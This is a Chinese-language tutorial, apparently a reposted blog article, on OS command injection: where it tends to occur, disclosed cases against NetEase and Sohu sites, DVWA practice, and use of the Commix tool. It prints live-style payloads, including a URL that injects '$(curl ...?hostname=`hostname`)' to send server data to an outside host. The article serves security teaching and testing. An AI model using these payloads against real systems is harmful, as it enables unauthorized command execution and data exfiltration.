标签:header 问题 系统软件 href 进入 alt 处理 log 就是
关于系统命令注入,可以参考这篇文章:
命令攻击介绍
系统命令注入场景
在对企业进行安全测试时候,很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。
那么,都会有什么情况会调用系统命令呢?这个真不一定,有时候需要靠猜靠运气,不过代码不会无缘无故调用系统命令,细心研究还是会查到一些迹象的。比如对于图片处理、大文件压缩解压、ppt转pdf等,如果目标网站或者服务器接口提供这样的功能,一般情况下代码都会调用第三方软件,这里举几个例子:
1. 图片加水印
接口:www.api.com/add_water?image=test.jpg,经测试,此接口会对test.jpg加水印。
猜测代码如下:
water是系统安装的加水印程序,image是接受的参数,此时image存在命令注入的可能。
2. ppt转pdf
猜测代码如下:
和上面原理类似,ppt后面可以加命令注入攻击语句。
除了可能调用系统软件的这种情况,对于很多参数是url地址的,我们也要特别注意。如果某个程序为了省事,直接调用了系统curl命令,那么我们就可以直接注入了。再有就是ping检测功能,以及可能存在网络通讯协议、网络健康监测等功能附近,这些地方都有可能存在系统命令注入。
真实案例
列举几个乌云上关于命令注入的漏洞,供学习和参考:
1. 网易163某站点存在隐式命令注入
简要描述
网易163某站点存在隐式命令注入,可远程执行任意Linux命令。
详细说明
存在命令注入的是paopao.163.com的Referer,怀疑是某个日志分析服务的问题:
上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行,而是每天凌晨大约0点到2点钟被执行到。
漏洞证明
如上图所示,实际上paopao3和163这个子域名都被成功打回了。
2. 搜狐某站点隐式命令注入Getshell
简要描述
搜狐某站点隐式命令注入getshell,利用HTTP request回显命令的基本方法。
详细说明
命令注入点:
http://ldd.sohu.com/d/?c=c&r=$(curl http://www.lijiejie.com:52016/?hostname=`hostname`)
参数r可以注入Linux命令。上述链接是我将hostname通过curl打回web server。
DVWA靶场
DVWA有个模块较Command Injection,是专门用来练习命令注入的。
如图,Command Injection模块提供了ping的功能,输入一个指定的ip,会返回ping的具体结果。通过功能,我们可以猜测到代码用到了系统命令ping。
当我们使用攻击语句“ | pwd”时,即可查看到当前文件所在目录,如图。
这里不做深入展开,有兴趣的可以自行研究。
Commix
对于存在命令注入的接口,我们可以利用漏洞接口操作服务器系统命令,拥有和网站相同的用户执行权限。可是每次都通过接口进行注入操作,在通过回显来查看结果,肯定很麻烦,用起来不舒服。
那么有没有什么工具,能直接通过漏洞接口,进行交互式操作呢?
这里介绍一款工具————Commix!
Commix可以帮助我们更高效的发现web应用中的命令注入攻击相关漏洞,并通过漏洞提供交互式的操作。
git网址:
https://github.com/stasinopoulos/commix
指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:
我们用commix进行实战,直接攻击DVWA靶场。
我们用burpsuit进行网络流量截获,获取DVWA发起ping请求时的数据,主要是得到cookie:
PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low‘ --data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06
d
然后启动commix,用到了--headers选项,将cookie携带进去,命令如下:
python commix.py -u http://192.168.3.108/vulnerabilities/exec/ --headers=‘Cookie: PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low‘ --data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06
d‘
看上图,大概流程如下:
1. 启动,检测版本是否最新,并提示用户是否更新。
2. 检测网址是否有重定向,是否跟随重定向。
3. 询问服务器操作系统,需要我们自行确认windows还是unix。
4. 开始批量进行注入攻击测试。
一旦发现注入漏洞,会提示用户是否进入交互式攻击场景下,选择是,就可以像操作命令行一样操作目标服务器了,非常好用,如图。
不过对于返回数据貌似没有换行,不是很美观,比如这里的ps aux,每个进程都挤到一起了。
总的来说,在命令注入测试中,commix是一款不错的安全检测工具。
标签:header 问题 系统软件 href 进入 alt 处理 log 就是
原文地址:https://www.cnblogs.com/bonelee/p/11776067.html